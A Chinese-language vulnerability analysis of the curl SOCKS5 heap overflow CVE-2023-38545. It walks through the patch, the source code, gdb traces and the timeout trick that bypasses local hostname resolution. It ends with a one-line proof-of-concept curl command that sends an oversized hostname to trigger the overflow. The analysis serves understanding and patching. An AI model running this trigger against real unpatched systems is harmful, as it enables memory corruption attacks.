CVE-2023-38545 Curl 堆溢出漏洞分析

基本信息

在libcurl中存在堆溢出漏洞,当libcurl通过socks5代理发送请求时,如果hostname大于255则会在本地解析,但由于状态机错误导致没有按照预期解析,而是把主机名拷贝到缓冲区中,攻击者可以通过构造超长主机名触发堆溢出。

影响版本

7.69.0 <= libcurl <= 8.3.4

环境搭建

sudo apt-get build-dep curl
autoreconf
./configure --with-openssl --prefix=$HOME/code/c/curl-8.3.0/build --enable-debug
make -j 16
make install

技术分析&调试

补丁 漏洞在 fb4415d8aee6c1045be932a34fe6107c2f5ed147修复,修复代码如下

从修复代码中可以看出两个区别

  • 当socks5_resolve_local=false and hostname_len >255 时返回CURLPX_LONG_HOSTNAME错误码,而原先逻辑为将socks5_resolve_local设为true
  • 将hostname_len转为unsigned char后赋值给socksreq[len++] 修复代码位于do_SOCKS5函数,该函数由connect_SOCKS函数调用
static CURLcode connect_SOCKS(struct Curl_cfilter *cf,
                              struct socks_state *sxstate,
                              struct Curl_easy *data)
{
......
  switch(conn->socks_proxy.proxytype) {
  case CURLPROXY_SOCKS5:
  case CURLPROXY_SOCKS5_HOSTNAME:
    pxresult = do_SOCKS5(cf, sxstate, data);
    break;

向上追溯connect_SOCKS由socks_proxy_cf_connect调用,socks_proxy_cf_connect被存储在了一个结构体中

static CURLcode socks_proxy_cf_connect(struct Curl_cfilter *cf,
                                       struct Curl_easy *data,
                                       bool blocking, bool *done)
{
  CURLcode result;
  struct connectdata *conn = cf->conn;
  int sockindex = cf->sockindex;
  struct socks_state *sx = cf->ctx;

  if(cf->connected) {
    *done = TRUE;
    return CURLE_OK;
  }

  result = cf->next->cft->do_connect(cf->next, data, blocking, done);
  if(result || !*done)
    return result;

  if(!sx) {
    sx = calloc(sizeof(*sx), 1);
    if(!sx)
      return CURLE_OUT_OF_MEMORY;
    cf->ctx = sx;
  }

  if(sx->state == CONNECT_INIT) {
    /* for the secondary socket (FTP), use the "connect to host"
     * but ignore the "connect to port" (use the secondary port)
     */
    sxstate(sx, data, CONNECT_SOCKS_INIT);
    sx->hostname =
      conn->bits.httpproxy ?
      conn->http_proxy.host.name :
      conn->bits.conn_to_host ?
      conn->conn_to_host.name :
      sockindex == SECONDARYSOCKET ?
      conn->secondaryhostname : conn->host.name;
    sx->remote_port =
      conn->bits.httpproxy ? (int)conn->http_proxy.port :
      sockindex == SECONDARYSOCKET ? conn->secondary_port :
      conn->bits.conn_to_port ? conn->conn_to_port :
      conn->remote_port;
    sx->proxy_user = conn->socks_proxy.user;
    sx->proxy_password = conn->socks_proxy.passwd;
  }

  result = connect_SOCKS(cf, sx, data);

struct Curl_cftype Curl_cft_socks_proxy = {

  "SOCKS-PROXYY",
  CF_TYPE_IP_CONNECT,
  0,
  socks_proxy_cf_destroy,
  socks_proxy_cf_connect,
  socks_proxy_cf_close,
  socks_cf_get_host,
  socks_cf_get_select_socks,
  Curl_cf_def_data_pending,
  Curl_cf_def_send,
  Curl_cf_def_recv,
  Curl_cf_def_cntrl,
  Curl_cf_def_conn_is_alive,
  Curl_cf_def_conn_keep_alive,
  Curl_cf_def_query,

};

技术分析和动态调试 本次修复的函数do_SOCKS5实现了处理SOCKS5连接中的各个状态的代码,这个函数实现了一个状态机,状态机根据在socks连接中的不同状态进行不同操作,第一次调用do_SOCKS5时,socks5_resolve_local被初始化为 false,同时状态机状态为CONNECT_SOCKS_INIT

  bool socks5_resolve_local =

    (conn->socks_proxy.proxytype == CURLPROXY_SOCKS5) ? TRUE : FALSE;
gef➤  p socks5_resolve_local
$5 = 0x0

函数进入CONNECT_SOCKS_INIT分支,由于传递给curl的主机名超长,大于255,进入if中,socks5_resolve_local被赋值为true,代表此时应该使用本地解析

  switch(sx->state) {
  case CONNECT_SOCKS_INIT:
    if(conn->bits.httpproxy)
      infof(data, "SOCKS5: connecting to HTTP proxy %s port %d",
            sx->hostname, sx->remote_port);

    /* RFC1928 chapter 5 specifies max 255 chars for domain name in packet */
    if(!socks5_resolve_local && hostname_len > 255) {
      infof(data, "SOCKS5: server resolving disabled for hostnames of "
            "length > 255 [actual len=%zu]", hostname_len);
      socks5_resolve_local = TRUE;
    }

此时调用栈如下:

────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── source:socks.c+595 ────
    590        infof(data, "SOCKS5: server resolving disabled for hostnames of "
    591              "length > 255 [actual len=%zu]", hostname_len);
    592        socks5_resolve_local = TRUE;
    593      }
    594
             // auth=0x5
 →  595      if(auth & ~(CURLAUTH_BASIC | CURLAUTH_GSSAPI))
    596        infof(data,
    597              "warning: unsupported value passed to CURLOPT_SOCKS5_AUTH: %u",
    598              auth);
    599      if(!(auth & CURLAUTH_BASIC))
    600        /* disable username/password auth */
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "curl", stopped 0x7ffff7f4906d in do_SOCKS5 (), reason: SINGLE STEP
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
gef➤  p socks5_resolve_local
$6 = 0x1
gef➤  bt
#0  do_SOCKS5 (cf=0x5555555e6428, sx=0x5555555e6468, data=0x5555555e6ef8) at socks.c:573
#1  0x00007ffff7f4a137 in connect_SOCKS (cf=0x5555555e6428, sxstate=0x5555555e6468, data=0x5555555e6ef8) at socks.c:1067
#2  0x00007ffff7f4a3f1 in socks_proxy_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at socks.c:1149
#3  0x00007ffff7ed6635 in Curl_conn_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at cfilters.c:296
#4  0x00007ffff7edaa4d in cf_setup_connect (cf=0x5555555e6348, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at connect.c:1201
#5  0x00007ffff7ed68a1 in Curl_conn_connect (data=0x5555555e6ef8, sockindex=0x0, blocking=0x0, done=0x7fffffffb667) at cfilters.c:351
#6  0x00007ffff7f276b7 in multi_runsingle (multi=0x5555555dd868, nowp=0x7fffffffb6f0, data=0x5555555e6ef8) at multi.c:2106
#7  0x00007ffff7f28d94 in curl_multi_perform (multi=0x5555555dd868, running_handles=0x7fffffffb754) at multi.c:2742
#8  0x00007ffff7eeb1e6 in easy_transfer (multi=0x5555555dd868) at easy.c:682
#9  0x00007ffff7eeb3d4 in easy_perform (data=0x5555555e6ef8, events=0x0) at easy.c:772
#10 0x00007ffff7eeb40c in curl_easy_perform (data=0x5555555e6ef8) at easy.c:791
#11 0x000055555557a1f3 in serial_transfers (global=0x7fffffffb900, share=0x5555555d9f08) at tool_operate.c:2479
#12 0x000055555557a7c1 in run_all_transfers (global=0x7fffffffb900, share=0x5555555d9f08, result=CURLE_OK) at tool_operate.c:2670
#13 0x000055555557ab6c in operate (global=0x7fffffffb900, argc=0x7, argv=0x7fffffffba98) at tool_operate.c:2786
#14 0x00005555555710f8 in main (argc=0x7, argv=0x7fffffffba98) at tool_main.c:274
gef➤

在这状态下,curl会初始化一些SOCKS请求body并将其发送给socks server,而后将状态转为 CONNECT_SOCKS_READ_INIT并跳转到对应代码处。

    idx = 0;
    socksreq[idx++] = 5;   /* version */
    idx++;                 /* number of authentication methods */
    socksreq[idx++] = 0;   /* no authentication */
    if(allow_gssapi)
      socksreq[idx++] = 1; /* GSS-API */
    if(sx->proxy_user)
      socksreq[idx++] = 2; /* username/password */
    /* write the number of authentication methods */
    socksreq[1] = (unsigned char) (idx - 2);

    sx->outp = socksreq;
    sx->outstanding = idx;
    presult = socks_state_send(cf, sx, data, CURLPX_SEND_CONNECT,
......
    sxstate(sx, data, CONNECT_SOCKS_READ);
    goto CONNECT_SOCKS_READ_INIT;

在状态 CONNECT_SOCKS_READ_INIT中,会赋值结构体成员而后将状态转为 CONNECT_SOCKS_READ,curl会尝试从TCP连接中读取数据

  case CONNECT_SOCKS_READ_INIT:
    sx->outstanding = 2; /* expect two bytes */
    sx->outp = socksreq; /* store it here */
    /* FALLTHROUGH */
  case CONNECT_SOCKS_READ:
    presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,
                               "initial SOCKS5 response");
    if(CURLPX_OK != presult)
      return presult;
    else if(sx->outstanding) {
      /* remain in reading state */
      return CURLPX_OK;
    }

读取数据时,其调用栈如下

gef  bt
#0  cf_socket_recv (cf=0x5555555e6a28, data=0x5555555e6ef8, buf=0x5555555ddb48 "\005\001", len=0x2, err=0x7fffffffb3a4) at cf-socket.c:1352
#1  0x00007ffff7ed5d95 in Curl_cf_def_recv (cf=0x5555555e63e8, data=0x5555555e6ef8, buf=0x5555555ddb48 "\005\001", len=0x2, err=0x7fffffffb3a4) at cfilters.c:100
#2  0x00007ffff7ed6762 in Curl_conn_cf_recv (cf=0x5555555e63e8, data=0x5555555e6ef8, buf=0x5555555ddb48 "\005\001", len=0x2, err=0x7fffffffb3a4) at cfilters.c:328
#3  0x00007ffff7f4839a in socks_state_recv (cf=0x5555555e6428, sx=0x5555555e6468, data=0x5555555e6ef8, failcode=CURLPX_RECV_CONNECT, description=0x7ffff7f82254 "initial SOCKS5 response") at socks.c:241
#4  0x00007ffff7f49274 in do_SOCKS5 (cf=0x5555555e6428, sx=0x5555555e6468, data=0x5555555e6ef8) at socks.c:646
#5  0x00007ffff7f4a137 in connect_SOCKS (cf=0x5555555e6428, sxstate=0x5555555e6468, data=0x5555555e6ef8) at socks.c:1067
#6  0x00007ffff7f4a3f1 in socks_proxy_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at socks.c:1149
#7  0x00007ffff7ed6635 in Curl_conn_cf_connect (cf=0x5555555e6428, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at cfilters.c:296
#8  0x00007ffff7edaa4d in cf_setup_connect (cf=0x5555555e6348, data=0x5555555e6ef8, blocking=0x0, done=0x7fffffffb667) at connect.c:1201
#9  0x00007ffff7ed68a1 in Curl_conn_connect (data=0x5555555e6ef8, sockindex=0x0, blocking=0x0, done=0x7fffffffb667) at cfilters.c:351
#10 0x00007ffff7f276b7 in multi_runsingle (multi=0x5555555dd868, nowp=0x7fffffffb6f0, data=0x5555555e6ef8) at multi.c:2106
#11 0x00007ffff7f28d94 in curl_multi_perform (multi=0x5555555dd868, running_handles=0x7fffffffb754) at multi.c:2742
#12 0x00007ffff7eeb1e6 in easy_transfer (multi=0x5555555dd868) at easy.c:682
#13 0x00007ffff7eeb3d4 in easy_perform (data=0x5555555e6ef8, events=0x0) at easy.c:772
#14 0x00007ffff7eeb40c in curl_easy_perform (data=0x5555555e6ef8) at easy.c:791
#15 0x000055555557a1f3 in serial_transfers (global=0x7fffffffb900, share=0x5555555d9f08) at tool_operate.c:2479
#16 0x000055555557a7c1 in run_all_transfers (global=0x7fffffffb900, share=0x5555555d9f08, result=CURLE_OK) at tool_operate.c:2670
#17 0x000055555557ab6c in operate (global=0x7fffffffb900, argc=0x7, argv=0x7fffffffba98) at tool_operate.c:2786
#18 0x00005555555710f8 in main (argc=0x7, argv=0x7fffffffba98) at tool_main.c:274

让我们把代码放在一起看,在do_SOCKS5函数中,将 sx->outstanding赋值为2,尝试调用 socks_state_recv从TCP sock中读取两个字节的数据,经过层层调用最终进入到 nw_in_read函数中,调用recv函数从sock中读取数据。

presult = socks_state_recv(cf, sx, data, CURLPX_RECV_CONNECT,
                               "initial SOCKS5 response");
    if(CURLPX_OK != presult)
      return presult;
    else if(sx->outstanding) {
      /* remain in reading state */
      return CURLPX_OK;
    }
static CURLproxycode socks_state_recv(struct Curl_cfilter *cf,
.....
{
  ssize_t nread;
  CURLcode result;

  nread = Curl_conn_cf_recv(cf->next, data, (char *)sx->outp,
                            sx->outstanding, &result);
......
  sx->outstanding -= nread;
  return CURLPX_OK;
}
ssize_t Curl_conn_cf_recv(struct Curl_cfilter *cf, struct Curl_easy *data,
{
  if(cf)
    return cf->cft->do_recv(cf, data, buf, len, err);
  *err = CURLE_RECV_ERROR;
  return -1;
}

static ssize_t cf_socket_recv(struct Curl_cfilter *cf, struct Curl_easy *data,
                              char *buf, size_t len, CURLcode *err)
{
  struct cf_socket_ctx *ctx = cf->ctx;
  curl_socket_t fdsave;
  ssize_t nread;

  *err = CURLE_OK;

  fdsave = cf->conn->sock[cf->sockindex];
  cf->conn->sock[cf->sockindex] = ctx->sock;

......
    else {
      nread = nw_in_read(&rctx, (unsigned char *)buf, len, err);
......
  return nread;
}

static ssize_t nw_in_read(void *reader_ctx,
                           unsigned char *buf, size_t len,
                           CURLcode *err)
{
  struct reader_ctx *rctx = reader_ctx;
  struct cf_socket_ctx *ctx = rctx->cf->ctx;
  ssize_t nread;

  *err = CURLE_OK;
  nread = sread(ctx->sock, buf, len);
......
  return nread;
}

#define sread(x,y,z) (ssize_t)recv((RECV_TYPE_ARG1)(x), \
                                   (RECV_TYPE_ARG2)(y), \
                                   (RECV_TYPE_ARG3)(z), \
                                   (RECV_TYPE_ARG4)(0))

根据RFC1928,服务器会在客户端发送hello包之后返回,选择通信方法后返回server hello client hello server hello

正常情况下,socks服务器返回server hello之后,socks_state_recv读取了两个字节的数据并通过 sx->outstanding -= nread;使得outstanding=0,之后在状态机内会继续处理socks连接。

但如果攻击者可控socks服务器,并强迫在服务器在client 发送hello之后,过了client 设置的sock timeout在返回数据包的话会怎么样? recv函数如果在setsockopt设置的超时时间内还没有从TCP连接读取到数据的话,则会返回-1,并且err被设置为CURLE_AGAIN ,在 socks_state_recv函数中因为读取到的nread=-1,所以这个函数返回CURLPX_OK。

返回到状态机中,presult=CURLPX_OK,sx->outstanding=2,do_SOCKS5函数返回CURLPX_OK,因为没读数据,所以在easy.c中会继续循环。

static CURLcode easy_transfer(struct Curl_multi *multi)
{
  bool done = FALSE;
  CURLMcode mcode = CURLM_OK;
  CURLcode result = CURLE_OK;

  while(!done && !mcode) {
    int still_running = 0;

    mcode = curl_multi_poll(multi, NULL, 0, 1000, NULL);

    if(!mcode)
      mcode = curl_multi_perform(multi, &still_running);

    /* only read 'still_running' if curl_multi_perform() return OK */
    if(!mcode && !still_running) {
      int rc;
      CURLMsg *msg = curl_multi_info_read(multi, &rc);
      if(msg) {
        result = msg->data.result;
        done = TRUE;
      }
    }
  }

  /* Make sure to return some kind of error if there was a multi problem */
  if(mcode) {
    result = (mcode == CURLM_OUT_OF_MEMORY) ? CURLE_OUT_OF_MEMORY :
              /* The other multi errors should never happen, so return
                 something suitably generic */
              CURLE_BAD_FUNCTION_ARGUMENT;
  }

  return result;
}

此时socks服务器返回数据的话,再次进入到do_SOCKS5函数,此时在函数开头socks5_resolve_local=false,进入到状态机中,由于此时状态不再是CONNECT_SOCKS_INIT,所以socks5_resolve_local不会被设置为true,此时在状态CONNECT_REQ_INIT时,状态机会跳转到状态CONNECT_RESOLVE_REMOTE,也就是curl尝试让socks服务器进行DNS解析并请求。

unsigned char *socksreq = (unsigned char *)data->state.buffer;
const size_t hostname_len = strlen(sx->hostname);
CONNECT_RESOLVE_REMOTE:
  case CONNECT_RESOLVE_REMOTE:
    /* Authentication is complete, now specify destination to the proxy */
    len = 0;
    socksreq[len++] = 5; /* version (SOCKS5) */
    socksreq[len++] = 1; /* connect */
    socksreq[len++] = 0; /* must be zero */

    if(!socks5_resolve_local) {
......
        memcpy(&socksreq[len], sx->hostname, hostname_len); /* w/o NULL */
......
    }
    /* FALLTHROUGH */

此时curl会尝试将主机名通过memcpy拷贝到tcp 请求体中,而socksreq指向的内存由Curl_preconnect分配

CURLcode Curl_preconnect(struct Curl_easy *data)
{
  if(!data->state.buffer) {
    data->state.buffer = malloc(data->set.buffer_size + 1);
    if(!data->state.buffer)
      return CURLE_OUT_OF_MEMORY;
  }
  return CURLE_OK;
}

在我的环境中可以看到最终的内存大小为0x8ce+1

gef➤  p data.set.buffer_size
$12 = 0x8ce
gef➤

所以如果构造大于这个大小的hostname,在memcpy时就可以触发堆溢出。

PoC

curl --location --limit-rate 2254B --socks5-hostname 192.168.32.1:10808  $(python3 -c "print('A'*10000,end='')")

小结

在修复代码中,如果hostname超过255则会直接返回错误,而不再访问后面的状态机,直接阻断了调用链。虽然url的hostname没有长度规定,可以超过1024,但由于DNS解析最大只支持255字节的域名,所以在正常请求中不应该出现域名大于255的情况,从这个角度看此次修复方式也很合理。

从利用角度看这个漏洞,攻击者需要可以控制curl或libcurl使用的socks5代理,还需要控制传递给curl和libcurl的url,而后才能触发漏洞,表面看攻击者可以控制溢出的范围和内容,很可能通过堆溢出造成代码执行。但curl会通过url parser去验证url有效性,如果url无效则会产生错误,因此只当url合法时才会触发漏洞,也就是攻击者构造的url只能是ASCII字符的子集,综合上面的条件,这个漏洞利用难度极大,造成代码执行的几率很小。

考虑到大部分软件即使能控制url,但也不能控制让libcurl使用socks5代理,所以可以择期修复这个漏洞。

题外话 这个漏洞还让curl的作者难过了一下:It burns in my soul. 作者说,如果使用内存安全的语言重写curl的话,那这些漏洞就不会存在,当然在可预见的未来curl还是会用c开发,但目前可行的办法是逐渐使用内存安全的依赖项替代。

参考链接

https://curl.se/docs/CVE-2023-38545.html

https://daniel.haxx.se/blog/2023/10/11/how-i-made-a-heap-overflow-in-curl/

https://hackerone.com/reports/2187833

https://datatracker.ietf.org/doc/html/rfc1928

Created at 2023-10-11T20:40:32+08:00

创建于:Wednesday, October 11,2023
最后修改于: Monday, October 16,2023